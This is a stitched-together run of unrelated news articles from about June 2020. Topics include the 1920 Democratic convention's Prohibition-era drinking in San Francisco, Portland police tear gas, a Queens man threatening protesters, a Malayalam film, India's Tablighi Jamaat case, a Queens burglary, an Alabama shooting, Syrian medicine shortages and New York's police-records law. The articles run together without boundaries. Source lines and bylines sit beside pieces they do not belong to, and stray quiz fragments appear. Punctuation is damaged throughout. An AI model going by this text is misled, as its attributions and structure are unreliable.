The Volstead Act, outlawing the manufacture and sale of alcohol, went into effect six months before the convention started in late June. San Francisco violated the measure more brazenly than any city except New York, and it wasnt about to stop drinking with company over.

There were alcohol-fueled swimming competitions, horse-riding stunts, costumes and cockfighting  and that was just the pre-convention barbecue party held at the home of Mayor James Rolph for 150 journalists and friends.

ALSO: Where San Francisco hid its speakeasies during Prohibition

While no one officially revealed where the booze came from, this is what reports of the time and experts say likely happened: Rolph and other city leaders took advantage of large alcohol stockpiles at bonded warehouses, where prohibition officials could not touch them.

Eric Luse / The Chronicle

That alcohol could be legally sent to hospitals for medicinal use, but they ended up at the convention, and the city doused its guests with it. The amount of booze taken varies by the report, and it may have been a lot more, but an oft-cited number is 51  41 barrels of bourbon and 10 of gin.

It is a hard call whether the alcohol came directly from the bonded warehouses or from the hospital, said San Francisco historian and native John Freeman. Given that the Democratic convention was only five-plus months after the onset of enforcement of the Volstead Act, I lean more toward the warehouse angle.

Far from the bathtub gin many were reduced to drinking during Prohibition, this was the good stuff.

Delegates didnt need to seek out one of the citys many speakeasies. Mencken wrote that they had only to ask and an elegantly dressed young woman would deliver bourbon by the quart to their hotel rooms, free of charge.

Rolph, who depending on the day could be wearing a three-piece suit or a Native American headdress, because he claimed to be a direct descendent of Pocahontas, loved the limelight and savored the chance to entertain people from around the country.

According to Hometown San Francisco by Jerry Flamm, Rolph threw a lavish party at his wooded estate south of the city the day before the conference started. He picked up about 150 guests at the Palace Hotel via automobile in the morning, then fed and entertained them until night.

Sunny Jim himself engaged in a swimming duel against writer Irwin Cobb at the party. In a display that would be problematic now, he released his cockfighting birds, albeit with mufflers on so they couldnt hurt each other.

One party guest was quoted in the book Rumrunners as saying Rolph "poured illegal but authentic liquor into us until I ... was ready for a two week cure."

There was likely some hypocrisy among the people who drank Sunny Jims bourbon. According to The San Francisco Chronicles reporting at the time, two-thirds of the delegates at the convention were dry, or in favor of Prohibition.

ALSO: How the George Floyd case has affected Kamala Harris' chances for Biden VP

Alcohol was perhaps the most polarizing issue among Democrats at the convention. William Jennings Bryan, who had already run three times unsuccessfully for president, tried to force a floor vote to adopt a dry platform. He failed, because even the Anti-Saloon League didnt want it  in the interest of morality over politics and to avoid embarrassment if a wet candidate won the election in November.

The estimated 300 woman delegates and other representatives who made history by attending the convention were a focus of news coverage as well  Women swarm about offices of Democrats, one Chronicle headline reads. The committee plank they approved while in town included equal pay for women, the elimination of child labor, and greater food regulation by the FTC.

With alcohol served freely, and this being 1920, the women got attention for more than their ideas on the convention floor.

When an alternate delegate from Boston named Susan Fitzgerald  described as stately looking by The Chronicle and very handsome by Mencken  got on the platform to give a candidates seconding speech, the band began playing a song called, Oh, You Great Big Beautiful Doll, and Fitzgerald got cheers of almost delirious enthusiasm.

Mencken wrote that when the next female speaker, a former actress named Izetta Brown, went up, the delegates cut loose with yells that must have been heard half way to San Jose.

Soon after, dancing broke out in the aisles as the band played. The Chronicle wrote, A pretty woman in a yellow silk sweater, daughter of a Philadelphia soap king, is being trotted down the aisles on the shoulder of a man in white flannels.

Mencken left no doubt the liquor played a role in the party scene during a speech by New York Gov. Al Smith.

The first delegate who grabbed a lady politico and began to prance up the aisle was full of bourbon, he wrote, and so, for all I know, was the lady politico. They were joined quickly by others."

FDR, who years later would captivate a nation with his fireside chats, was the buzzkill this time. He followed Smith with a long, earnest speech that Mencken said killed Als boom then and there.

Roosevelt was a rising star at the convention, however, and after days of hotly contested nominations, he joined the ticket for vice president  as assistant secretary of the Navy, he was a consolation prize for the Woodrow Wilson administration after it failed to get Attorney General A. Mitchell Palmer the nomination.

FDR received a unanimous vote, but the choice was president was far more contentious. Unlike todays conventions where a presidential ticket is typically decided months in advance, in 1920, a candidate needed to win a two-thirds majority of delegates at the convention and the veep was decided after. In San Francisco, delegates cast 44 ballots before Ohio Gov. Cox won eight days after the convention began.

The Palace and St. Francis were the official hotels of the convention, but they werent enough to house all of the estimated 35,000 visitors. So the city reserved enough rooms for hundreds of delegates in peoples private homes and apartments. One of those private-home guests was Homer J. Cummings, chairman of the Democratic National Committee, because his wife was ill.

When the convention was over, what The Chronicle called a wreckage of litter was left behind on the auditorium floor. Conventioneers didnt rush on their trains home right away  many of them stayed behind to take day trips around the Bay Area, each packing a liberal supply of the Bourbon, Mencken wrote.

The abundant and illegal drinking at the convention would not become an issue until about three months later. Attorney General Palmer, who as a presidential candidate stayed at the same hotel where liquor was served but denied knowing about it, ordered an investigation into where the alcohol came from.

The move to investigate local Democrats gained brief momentum when a convicted bootlegger named Harry Brolaski claimed to have incriminating information. But as the historian Freeman said, San Franciscos appetite to prosecute Prohibition crimes was too low, and with Palmer out of office the next year, the story became too old. Rolph remained San Francisco's mayor until 1931.

In October 1920, Supervisor Ralph McLeran  who was acting mayor while Rolph traveled abroad that spring  was called out by Palmers inquiry. He responded with this statement in The Chronicle:

Everybody knew about it, McLeran said of the liquor. It was common knowledge. Palmer was here. I do not know Palmer and I do not know whether he had any of the liquor in question.

I have nothing to deny. I know I did not drink the liquor, and I am not interested in what became of it. I know it was not sold.

The Democrats had a good time here, and it is over.

Greg Keraghosian is an SFGATE homepage editor. Email: greg.keraghosian@sfgate.com
Source: Xinhua| 2020-06-05 16:13:12|Editor: huaxia

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Israel has learned a lot from China in combating the COVID-19 pandemic and hopes there will be more scientific cooperation between Israel and China in the future, said Dina Ben-Yehuda, dean of School of Medicine at Hebrew University. Commenting on China's performance in its fight against the pandemic, she said Chinese physicians and scientists were "wise enough and responsible enough" to publish information, which helped the world save lives. She stressed the pandemic is a battlefield that leaves no place for competition and everybody has to work together to make changes.
As pressure mounts to ban the use of tear gas to disperse crowds, Portland Police Deputy Chief Chris Davis said Thursday that the alternative likely would be higher levels of force.

The Police Bureau has no plans to stop using CS gas for good, he said, though he noted officers didnt use it Wednesday night during protests that have drawn thousands to downtown to decry the killing in Minneapolis of George Floyd, a black man who said he couldnt breathe when a white police officer pinned him to the ground with a knee on his neck.

Were not looking for opportunities to use that stuff, Davis said. "We only use it in response to pretty violent actions. I would love it if we could get out of the rest of this and never have to use it again.''

Activists to academics have expressed alarm about using the gas at demonstrations nationwide, especially in the midst of the coronavirus pandemic, saying it can worsen infections and cause greater spread of the disease.

Davis said the bureau requires officers to issue a warning to people to disperse before launching or throwing canisters of CS gas. Its used to move people out of an area if theyre violent, causing property damage or creating some type of aggressive disturbance, such as hurling fireworks, bottles or other objects at officers, as police said theyve witnessed in recent nights.

As far as a ban on CS gas, what that would do for us would have us having to figure out a different way to accomplish our objective, Davis said. The alternative would be higher levels of force that wed like to be able to avoid.''

CS gas is a powder that burns from a pyrotechnic charge and has been the most commonly used form of tear gas since the 1970s, said Sven-Eric Jordt, Duke University School of Medicine, an anesthesiology professor who has studied and written extensively about tear gas agents and injuries from their exposure on people.

The charge releases a nerve gas that activates mucus membranes in the eyes, throat and lungs and causes pain, Jordt said. It causes swelling in the eyes and nasal passages and can degrade the defenses we have against disease and bacteria, he said.

Thats why Im very concerned that this may make people more prone to infections or people who have more mild COVID-19 infections might spread it, he said. Obviously when people cough a lot and scream a lot and have COVID, theyll spread it more.

At least two city commissioners and the ACLU of Oregon have demanded the end to police use of the tear gas for many of the same reasons.

"Using tear gas and other chemical weapons that attack respiratory systems, cause coughing and make it hard to breathe in response to protests about the longstanding racial injustices in our communities is excessive and morally repugnant,'' wrote Kelly Simon, the ACLU of Oregons interim legal director, in a letter to the mayors of Portland, Salem and Eugene. "Tear gas, a weapon banned in war, has no business being used in our streets with such abandon as we have seen by officers throughout Oregon, especially in Portland, Eugene and Salem.''

Earlier in the week, a Portland pediatrician and two Oregon professors were among nearly 1,300 medical and public health professionals from across the country who signed a letter urging police to stop using tear gas, smoke, or other respiratory irritants."

Luke Strnad, assistant professor of medicine in the division of infectious disease at OHSU, was among those who signed the letter and said exposure to tear gas leads people to rip off their mask or goggles to splash their eyes with water. If someone is infected, theyll place others in immediate risk, he said.

It creates a perfect storm to make these events even more infectious, he said.

On Thursday evening, Dr. Danny Jacobs, the president of OHSU, also released a statement about the use of tear gas during nonviolent protests: "As recent protests prompted by George Floyds death have grown and escalated nationwide, however, the use of tear gas and other chemical means to control crowds has raised great concern among medical professionals as we simultaneously try to manage a global pandemic.''
Foreman, appointed to the Police Board in 2010 by then-Mayor Richard M. Daley, declined to get into specifics about the incident, which is being investigated by the citys Civilian Office of Police Accountability. But he said its important to focus on how aggressive confrontations such as this could be avoided. His statement on Friday came hours after former federal prosecutor Maggie Hickey, the court-appointed monitor overseeing broad CPD reforms, said she will investigate and report on allegations that officers abused protesters over the last week.
An image from video shared on Twitter showing a man with a bladed arm weapon threatening people in Queens, New York.

Myles N. Miller/Twitter

Videos from social media show a man wielding a strange bladed weapon threatening protesters in Queens, New York City.

Reports also suggested that Cavalluzzi drove his SUV towards protesters as if to run them down.

According to the New York Post, the man was Frank Cavalluzzi, a 54-year-old construction worker. The newspaper said he gave himself up to police on Thursday.

The NYPD confirmed to Insider that Cavalluzzi had been charged with reckless endangerment, menacing, and criminal possession of a weapon.

Visit Insider's homepage for more stories.

A Queens, New York man who attempted to run over Black Lives Matters protestors in his SUV after threatening them with a bladed weapon has surrendered to police, according to the New York Post.

The Post named the man as Frank Cavalluzzi, a 54 year-old construction worker.

An NYPD spokesperson told Insider that Cavalluzzi had been charged with reckless endangerment, menacing, and criminal possession of a weapon.

The Post said Cavalluzzi surrendered at a police station on Thursday and was arrested by officers.

Video purportedly shows him threatening protesters in the Whitestone neighborhood of Queens on Tuesday, wearing an unusual arm-mounted weapon with blades strapped to it.

The Post compared the weapon to the metal claws of Wolverine, the Marvel comic-book character.

Video posted to social media shows a man yelling at the protestors from his SUV, prompting the protestors to yell back at him.

"I'll kill you," the man can be heard saying in a video posted to Twitter by a local NBC reporter. "You're in the wrong neighborhood, b----."

Another video shows the man getting out of the car and threatening people with the weapon.

Story continues

According to the Post, further video shows the man attempting to run down protesters with his SUV.

On Wednesday, the day after Cavalluzzi's attack, a larger group of protestors protested on the same spot in Whitestone.

Ashley Collman contributed reporting to this post.

Read the original article on Insider
Sajin Shrijith By

Express News Service

Thirty years after his directorial debut, the filmmaker in Jayaraj still remains passionate and interesting as ever. He has been on a filmmaking spree lately, working silently and fast to complete the production of two small-budget films back-to-back. You dont know about a new Jayaraj film unless he puts the information out there himself. Following Backpackers starring Kalidas Jayaram, Jayaraj has completed Haasyam, the eighth entry in his series of films titled after each of the navarasas. His leading man this time is Harisree Ashokan, who plays Japan, a middle-aged family man trying to make ends meet by supplying cadavers for medical students. Its a profession hitherto unexplored in Malayalam cinema.

Jayaraj calls the film a dark comedy that deals with death in a lighter vein. Death is a theme in Backpackers too, but both films, he says, tread different narrative paths. Yes, the characters have a serious side to them, but despite the subject matter, these films are not grim, says the national award-winning filmmaker, who wanted to express the idea of life being a joke regardless of our technological accomplishments. With all that is going on right now, it seems like something we all can relate to.

Explaining the reason behind naming his protagonist Japan, Jayaraj says its a common nickname for people who are shrewd and smart. Japan is a cunning fellow, but he is not exactly a fraud either, he explains. This man is quite resourceful  he has a talent for getting anything done. Jayaraj cast Harisree Ashokan because his face is the first thing that came to his mind while penning the script. He is a vibrant and outstanding performer; we can convert him into anything. He is easily mouldable, whatever the role. He can carry off an ordinary mans role without any strain.

Though the idea for the film came to Jayaraj after finishing Backpackers, he thinks it all started with a spark ignited inside his mind when he chanced upon a cadaver in his school days. I once pondered the idea of telling a story from the perspective of a cadaver, he says. Before shooting Haasyam, I thought of some quirky ways to tell this story, until I decided to do it the way it is now.

Haasyam has been selected for the Panorama section of the 23rd edition of the Shanghai International Film Festival which is slated to run from July 18-27. To send the film for festivals, Jayaraj finished the post-production before December 31. It was only later that he finished the post-production of Backpackers.Except for Veeram, all of Jayarajs recent films were shot mostly outdoors. He finds outdoor filming beneficial as it eliminates the complications and expenses of shooting indoors.

Nature has played a big part in my films. Its major contribution to my filmmaking cannot be stressed enough, he adds. As far as Im concerned, shooting indoors is very restrictive. Creating and lighting a set is an expensive process. Major manpower is needed even for a small scene. Also, the sets have to be air-conditioned these days. In the old days, we did everything with a fan. Now we not only have to think about providing a luxurious atmosphere but also security.

Jayaraj has not yet decided on a release mode for Haasyam. He is someone who believes in the theatrical experience, even if some of his films get only a limited release due to their offbeat nature. Asked about theatres reopening, he feels that they will be definitely back and more active than before. Though there are multiple platforms out there, we all yearn for the ambience and community experience of a movie hall, he says. I think the situation will improve in the next two-three months. Some countries have already begun reopening their theatres. We will slowly learn to adapt, while following all the necessary precautions, of course.

Its a fresh, honest subject

Like Kalabhavan Mani and Salim Kumar before him, Harisree Ashokan is among those actors who are as good with serious roles as theyre with comic ones. After 2018s Ilayaraja, the actor is once again essaying a serious character in Jayarajs Haasyam. Ashokan says he was amazed at Jayarajs fast and systematic filmmaking style. Everything was well-planned. We completed the shoot with a minimal crew in nine days. Each shot was calculated in advance. There were no new decisions made on the set. Of course, there were some minor improvisations here and there, but Jayettan (Jayaraj) knew the location well and had a clea r idea of how to go about the shoot. Even our cinematographer, Vinod Illampally, is from Kottayam.

As the film was shot continuously without breaks, Ashokan found the experience quite invigorating. Im someone who doesnt like sitting idle on sets. I like to keep working without any long gaps. Besides, its a fresh, simple and honest subject with a lot of heart. It has a good ending. Its about a man who lives for his family. Its not a typical offbeat film. Its very touching, he says.
In responding to the unrest, Bowser has generally deferred to the D.C. police department, which has more training and experience than other city police forces in managing large protests, which take place regularly in the nations capital. She has tried to balance support for peaceful demonstrators with a forceful denunciation of those who have looted businesses, whom she cast as outsiders even though most arrested are from the Washington region.
New Delhi: The Centre on Friday told the Supreme Court the Tablighi Jamaat event organisers at the Nizamuddin Markaz in Delhi in March "deliberately and wilfully" ignored directions by authorities over the risk of spread of COVID-19, and also rejected a plea for a CBI probe.

The Centre further said that on the contrary, an audio recording purportedly by Maulana Mohd. Saad, head of the Tablighi Jamaat, was found to be in circulation on social media platforms in which the speaker was allegedly heard asking his followers to defy the coronavirus lockdown and social distancing and to attend the religious gathering of the Markaz.

The Ministry of Home Affairs (MHA) made the submissions in an affidavit while giving in detail the steps taken by the Delhi Police, saying it is making all efforts to complete the investigation within the time frame to submit the charge sheet in the trial court. The Tablighi event had emerged as the hotspot for the coronavirus cases in the country.

It also said the probe into assembly of thousands of people at Anand Vihar Bus Terminal in east Delhi during the migrants crisis besides the Tablighi Jamaat event in Nizamuddin Markaz is being conducted on a day-to-day basis by the Delhi police and there was no need for a probe by the Central Bureau of Investigation(CBI).

A bench of Chief Justice S A Bobde and Justices A S Bopanna and Hrishikesh Roy directed the Delhi government and Delhi Transport Corporation(DTC) to file their reply and allowed the petitioner Supriya Pandita to file rejoinder affidavits and listed the matter for further hearing after two weeks.

Pandita in her plea had among other things sought a CBI probe into the matter relating to the assembly of people at Anand Vihar Bus Terminal and at the Markaz in Nizamuddin after the nationwide lockdown was announced, alleging the Delhi police has failed to control the people and that Maulana Saad was still evading arrest.

On the sequence of events, the MHA said Maulana Saad and others had allowed a huge gathering to assemble inside closed premises over a protracted period of time, without any semblance of social distance or provision of masks and sanitizers, and have caused a situation where a highly infectious disease such as COVID-19 may spread and threaten the lives of inmates.

It said that inspection of the Markaz was conducted by the SDM on various dates between March 26 and March 30 and during such exercise, around 1,300 persons from various states as well as foreign countries were found residing in the premises without maintaining any social distance with each other.

"It is submitted that Maulana Mohd. Saad, others and the management of Markaz had deliberately, wilfully, negligently committed acts which were in direct contravention and to the lawful directions of the government and public servants", the affidavit alleged.

It added that a case was lodged against Maulana Saad under various provisions including The Epidemic Disease Act, Disaster Management Act and sections of IPC with crime branch police station and during the investigation of the case charges under Foreigners Act was also added.

"In so far as the issue of assembly of people at Markaz in Nizamuddin is concerned, I respectfully state and submit that an FIR bearing FIR no. 63/2020 dated March 31, in this has already been lodged and the investigation in the said case, by the crime branch of Delhi police is already at an advanced state," the affidavit filed by Ran Vilas Premi, under-secretary of MHA, said.

The Ministry pointed out that there was no negligence or delay in dealing with the issue of Markaz incident and police had on March 21 contacted the authorities of Tablighi Jamaat Headquarters and apprised them of the COVID-19 situation and was directed to send the foreigners back to their respective countries and Indians to their native places.

"However, no one paid any heed to the lawful directions of Delhi police and to the contrary, an audio recording purportedly by Maulana Mohd. Saad head of the Tablighi Jamaat, was found to be in circulation on social media platforms in which the speaker was heard asking his followers to defy the lockdown and social distancing and to attend the religious gathering of the Markaz", it alleged.

The MHA said that hundreds of foreigners have already joined the investigation in this case and the probe has revealed that most of them had arrived on a tourist visa or e-visa obtained on false pretext and 960 such foreigners had been blacklisted on April 2 for their involvement in Tablighi Jamaat activities.

On the steps taken by the Delhi police, the MHA in its affidavit said that the probe into Markaz matter is being conducted on a day-to-day basis, in accordance with the mandate of law and all efforts are being made to finalize investigations and submit a report under section 173 CrPC (charge sheet) before the trial court in a time bound manner.

"In view of the facts and circumstances it is respectfully submitted that prayer D (direction for CBI probe) of the writ petition does not merits any consideration by this court," the reply affidavit said, adding the plea needs to be disposed of.

The MHA said that despite substantial financial package announced by the Centre, the distressed members of society, some of the migrant workers due to anxiety, instigation and other psychological reasons started a journey to their home on foot.

It also told the top court that due to fake media reports and circulation of certain misinformation in the areas of Delhi, thousands of migrants gathered at Anand Vihar Bus terminal and Ghazipur border area on March 28.

Regarding the huge gathering of migrant workers at the Terminal, the government said it happened due to fake media reports that 1,000 buses for travel of stranded migrants to their home state would be available.

The Centre said necessary action had been taken to counter the rumours and also steps taken to ensure there is no repetition of similar incidents. FIRs were also lodged against erring bus drivers for transporting the migrant workers towards Anand Vihar, it added.
A New York City man in his underwear caught a burglar who broke into his home, but decided to not press charges after giving the weeping crook a lecture.

On Thursday, an unidentified Queens man was sleeping inside his home when he awoke to a burglar rummaging through his family's belongings.

In cell phone footage, the unidentified man is detaining the suspect, identified as Robert Hopkins, a 52-year-old homeless man, on the dining room floor while family members watch from a nearby staircase.

Hopkins begins hysterically sobbing as the 26-year-old victim begins to lecture him about attempting to burglarize his family's home.

Authorities said Robert Hopkins, a 52-year-old homeless man, (pictured) broke into a New York City family's home when the son (pictured) confronted him

'Howd you feel, if youre waking up to a f****** man robbing your s***?' the victim says. 'Im sleeping, you f****** robbing me?!'

The victim's mother, who wished to not be identified, told New York Daily News that her son sustained injuries during the altercation and is in 'shock.'

'Hes in shock. His whole body is bruised very badly. The guy had a knife,' she said.

'My whole family was in danger,' the mother said, adding that her young daughters were also in the home.

The victim, 26, (right) said he was sleeping on his family's couch when he caught Hopkins (left) attempting to steal items from the Queens-area home

Footage of the altercation continues with the victim demanding answers from Hopkins as he cries.

'I work hard! I work hard for my money,' the victim says. 'Do I deserve this? You feel me? What did you rob me for?'

Hopkins, overcome with emotions, bends over while trying to explain.

Hopkins (left) breaks down in tears during the altercation, apologizes to the victim and admits this is his first time burglarizing someone's home

The victim (right) later reveals that he won't press charges against Hopkins (left) because he returned the stolen wallet

'No, no, no,' Hopkins says. 'Its my first time doing this. I'm sorry.'

Hopkins apologizes to the victim and his family before getting down on his knees in guilt.

'Empty out your pockets,' the victims instructs Hopkins, who allegedly stole items out of his wallet during the home invasion. At one point, the victim slaps Hopkins while demanding his items back.

'You were about to roll with my s*** while youre apologizing and saying youre sorry!' the victim screams.

Victim to Hopkins : ''I'm living in my parent's house. I'm sleeping on the f****** couch. Not even on a bed, and you were going to take my s***. You were going to take the last of me'

'I feel bad for you! You should be embarrassed! You should be ashamed of yourself!

In a second video, the victim reveals that he's struggling himself and currently living at his parent's home.

'You know this is all I have,' the victim said, referring to his wallet.

'I'm living in my parent's house. I'm sleeping on the f****** couch. Not even on a bed, and you were going to take my s***. You were going to take the last of me.'

The New York Police Department charged Hopkins (center) with criminal trespass, burglary, grand larceny, criminal possession of stole property and harassment

Then, the victim suddenly becomes compassionate and tells Hopkins he's not going to press criminal charges against him.

'My man, take it easy bro, Im not going to press no charges on you,' the victim says.

'Im just going to let them do whatever it is theyre going to do to you. Im not going to press no charges on you, I promise. Only because you gave me my s*** back.'

Moment later, at least eight police officers enter the home and handcuff Hopkins. He's escorted out of the home while authorities stay at the scene to investigate.

The New York Police Department charged Hopkins with criminal trespass, burglary, grand larceny, criminal possession of stole property and harassment.

It's not clear if the alleged knife or another weapon was used during the altercation.
Source: Xinhua| 2020-06-05 23:24:48|Editor: huaxia

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WASHINGTON, June 5 (Xinhua) -- Seven people were killed in the southern U.S. state of Alabama on Friday in an overnight shooting, the Morgan County Sheriff's Office confirmed in a series of tweets.

The office said that the fatalities included both men and women, and that the scene was secure without immediate threat to the public. It also said that a homicide investigation is underway.

Deputies responded to a gunshots call late night Thursday in Valhermoso Springs in Morgan County, officials said, adding that the Morgan County Sheriff's Office is part of the Federal Bureau of Investigation's Violent Crimes Taskforce that is assisting in the investigation.

No further details were immediately available. Enditem
Doctors in northern Syria have sounded the alarm bells about the lack of medicine in the region and the high cost of new supplies reports Smart News.

In a statement, the North Free Doctors Syndicate warned of a humanitarian disaster that threatens the lives of people in areas outside the control of the Syrian government forces in northern Syria due to the lack of medicine and the high prices of what is available.

Doctor Muhammad Walid Tamer, head of the syndicate, reported to Smart News that Russian and Syrian government forces shelling during the last military campaign, forced medicine factories in the western Aleppo countryside to shut down, resulting in an 85 percent loss of production capacity in the area.

Dr. Tamer added that the closure of crossings with neighboring countries due to the COVID-19 epidemic worsened the problem, as importing medicine has stopped, especially from Syrian government-controlled areas, which also suffer from a lack of medicine due to the closure of medicine factories.

Pharmacies in the Syrian government controlled areas lack several types of medicine, amidst fear that this shortage will continue and affect other types. This shortage was a result of the declining value of the Syrian pound and its exchange rate against the United States dollar.

Dr. Tamer called on the doctors and pharmacists syndicates, along with all medical parties in northern Syria, to immediately collaborate in order to provide medicine for patients with chronic diseases, as the lack of medicine is a direct threat to the lives of these patients.

On Jun. 1, 2020, the United Nations sent a convoy of 103 truck carrying humanitarian aid. The convoy entered from Turkey, into Idleb governorate, through the Bab al-Hawa crossing. On May 28, 2020, a UN convoy of 90 trucks entered to the governorate as well.

Earlier on Jan. 7, 2020, the UN called to extend the UN Security Council Resolution 2165, which allows for the entry of humanitarian aid through the Syrian border without the need for a permission from the Syrian government.

This came after a military camping launched by Russia and the Syrian government forces on Idleb, Hama, Aleppo, and northern Lattakia that started on Apr. 26, 2019. The military campaign killed and injured hundreds of civilians, forcibly displaced about one million people, and destroyed infrastructure, especially hospitals and schools.

This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
Man Becomes First Double Amputee to Sail Around World After 7.5 Years at SeaAfter Tragic Motorcycle Accident
10 of 11

#BlackoutTuesday, a movement on social media that began as an attempt to pause business as usual in response to the protests sweeping the U.S., morphed into a sea of black boxes across Instagram and other platforms.

The movement originated in which industry?
Aaron Rodgers and the Packers are favored to emerge from the NFC. (AP)

Who is the real AFC favorite to face the Packers in the Super Bowl?
As protests over the killing of George Floyd continue across the country, momentum in New York to repeal a decades-old police transparency law appears to be gaining steam, according to activists and legislators involved in the effort, in what they say would be a major step forward in the fight for police reform.

The controversial New York State law in question, titled '50-a', shields essentially all state and city police personnel records from public view and mandates that they be kept confidential, effectively offering blanket protection to officers who have been accused of misconduct. Those who oppose the law say it prevents police from being held accountable, and ultimately feeds the divide between law enforcement and the communities they are meant to serve.

"[50-a] is an iron curtain in front of police that are abusive," said Monifa Bandele, a spokesperson for Communities United for Police Reform (CUPR), an organization that has been working to repeal 50-a in New York for four years. She pointed out that Derek Chauvin, the police officer accused of murdering George Floyd in Minneapolis, had 17 prior complaints in his record-- a critical piece of information that she said would not have been publicly available in New York.

The law was originally adopted nearly half a century ago in 1976 "in order to prevent criminal defense lawyers from using such records in cross examination of police witnesses during criminal prosecutions," according to the New York State Assembly, but has expanded over the years.

In recent years 50-a has received renewed scrutiny as it has been invoked during instances of police brutality. It was 50-a that prevented the record of of the police officer who killed Eric Garner in 2014, Daniel Pantaleo, from becoming public.

The New York City Police Department said it is open to reforms, but amid the ongoing protests and violent outbursts by some agitators, the city's powerful police union sharply criticized an effort to repeal the law, a move it saw as potentially arming "extremists" with "confidential records" that could be used against officers.

Story continues

PHOTO: In this handout provided by Ramsey County Sheriffs Office, former Minneapolis police officer Derek Chauvin poses for a mugshot after being charged in the death of George Floyd. (Ramsey County Sheriffs Office via Getty Images)

Repeal bill in the works, momentum strong, activists say

At the memorial service for George Floyd on Thursday, Reverend Al Sharpton specifically mentioned the need to change laws such as 50-a in the fight for police reform. "If they stop you they find out everything you ever did. Why don't we know when policeman have a pattern?" Sharpton asked.

Officially, only three states -- California, Delaware and New York -- have laws that specifically make police records confidential, according to the ACLU. But issues surrounding police transparency permeate communities across the county, experts say, and the longstanding debate in New York over questions of accountability and transparency is indicative of the same debate happening across the country.

"New York is the most secretive state in the country when it comes to public access to information about police misconduct," Donna Lieberman, Executive Director of the New York Civil Liberties Union, told ABC News in an interview. "That's a a searing indictment of the lack of political courage that has allowed the current state of affairs to persist for way too long."

A successful repeal of the law in New York could signal major change for the rest of the country. "For better and for worse, what happens in New York has an impact beyond New York," Lieberman said. "Changes in policing in New York will have an impact nationwide."

Those involved in the fight are optimistic it may actually get done. Momentum to pass a bill repealing the law, which has already been introduced, has never been stronger. Bandele said people are eager for tangible reform in the wake of public outcry about police brutality in America, and CUPR is looking to "strike while the iron is hot."

"I hear people you don't usually hear talking about constitutional law talking about 50-a, talking about police secrecy in New York," Bandele said. "On every level of the community people are aware."

(MORE: George Floyd protest updates: Biden calls Trump's comments about Floyd 'despicable')

Even on an online petition, started by three young friends, has gone viral. Over 100,000 people have signed their names in just three days.

"It speaks to the fact that people want to do something," Kit Wu, one of the petitions co-founders, told ABC News. "People want to do something that actually changes their institutions and right now, 50-a is the exact issue that allows them to."

New York Senator Brad Hoylman said his office has received nearly 2,000 emails in one today calling for reform.

I cant overstate how rare and how massive that is for a state legislature, Holman said in the tweet on Tuesday. He later added his office is getting about 350 emails an hour. "Im confident in saying that Im getting more emails in support of police reform right now than I have gotten on any issue in recent memory, maybe ever," Hoylman said.

Governor Andrew Cuomo has also expressed support for reforms. I would sign it today, Cuomo said when he was asked if the bill were to be passed.

New York State Senator Jamaal Bailey, a co-sponsor of the bill, told ABC News he has "no reason but to think positively" about the bill chances of passing, which he said would be a step forward for both the public and law enforcement alike.

"If we are able to enact meaningful reform with the repel of 50-a, we can finally start going towards an area where accountability and trust are valued above all, as opposed to the current system where many people are in fear of police," Bailey told ABC News in an interview.

(MORE: Backlash after Arkansas Sen. Tom Cotton pushes Trump to invoke Insurrection Act in NYT op-ed: 'Send in the Troops')

On Monday, CUPR sent a letter to the leaders of the New York State Senate demanding they pass the bill. Eighty-five prominent organizations, including the Innocence Project and NAACP Legal Defense and Educational Fund, signed on as well.

They said they have yet to receive a response, but when reached by ABC News, a spokesperson for Senate Majority Leader Andrea Stewart-Cousins referred to a previous statement, which said the state Senate and Assembly "will be developing a legislative package based on the ideas put forward. We intend to act on them next week."

"I think now is the time to do it, the elected officials are all getting on the record that they think there should be justice for George Floyd," Bandele said. "Its performance and not bravery, and real courage would mean crating systems for justice right here in New York."

PHOTO: In this March 4, 2020, file photo, Mayor Bill de Blasio is shown at a press conference in New York. (Europanewswire/Gado via Getty Images, FILE)

Experts said 50-a has only gotten stricter under New York City Mayor Bill de Blasio, who has broadened the definition of what records can be considered classified under the law to include nearly all personnel records. Lieberman called the interpretation "bizarre and very harmful."

De Blasio has recently voiced his support for repeal of the law, but experts remain skeptical. He has mentioned or been asked about 50-a at least five times this week alone.

"We need 50-a repealed," he said on Monday. "Let's do that in the month of June."

"I'll believe it when i see it," Lieberman, from the NYCLU, said of de Blasio's promise. "He's been protesting so loudly that he's trying to repeal it, but the only time he says that is when he's criticized."

"I am aware of no affirmative action by New York [City] to get 50-a repealed," Lieberman added.

A spokesperson for Mayor de Blasio did not immediately return a request for comment from ABC News.

Union bucks reform attempts, decries lack of protection for police

Reform on 50-a has largely been bucked but the law enforcement community and strong police unions, which argue a repeal of the law would release officers' personal information a subject them to privacy and safety issues.

Last week, the New York Police Benevolent Association President lashed out at the Governor for his comments wanting to change the legislation.

Last night, we saw violent criminals targeting New York City police officers with bricks, brass knuckles and Molotov cocktails, for no reason other than the uniform we wear. It is inconceivable that Governor Cuomo would want to arm those extremists with confidential police personnel records, so that they bring their weapons to our front doors, PBA President Patrick J. Lynch said in a statement.  We cannot protect New York if politicians wont even provide the bare minimum protections for us and our families.

Experts and advocates involved in the discussion say there is no bases this argument. "Nobody wants, and nor would repealing 50-a, provide for access to personal information that would jeopardize the privacy and personal safety police officers, they know that," Lieberman said. Bandele, from CUPR, called it a "false talking point" and a "lie."

A report on the law by the Civil Rights Committee and the Criminal Court Committee in the New York State Bar association found "no evidence that this transparency endangers officers in those states [that have already repeal 50-a laws] or inhibits the administration of justice."

(MORE: Buffalo police officers suspended after shoving 75-year-old protester)

The New York Police Department said they are looking forward to working with legislators to get a bill passed.

The NYPD has long advocated for reforming the law," said a statement provided to ABC News. "Department executives have spoken publicly about the need for fairness and transparency in the law and have testified in Albany in support of an amendment to accomplish that.

Sonia Y. Wiggins-Pruitt, the Chairwoman of the National Black Police Association told ABC News, her organization is behind true police reform and is in favor of more transparency.

I think were past the point of having dialogue, anything that is standing in the way of true transparency into a police officers disciplinary records, we should be taking a quick look at that. If there is some steps that have to be taken to ether change or repeal that law, absolutely, the National Black Police Association will stand behind that, she said.

Asked what would happen if efforts to repeal the law did now prevail?

"I don't even want to think about that," Lieberman said. "I can't imagine the rift between police department and New Yorkers getting deeper. There's no choice here."

Amid protests, effort to repeal controversial police law makes headway originally appeared on abcnews.go.com
New Delhi: Much like the Vat Savitri Vrat observed by married women pan India on the Amavasya (the no moon night) in the Jyeshtha month, Vat Purnima Vrat is also observed by married women for the well-being and long life of their husbands.

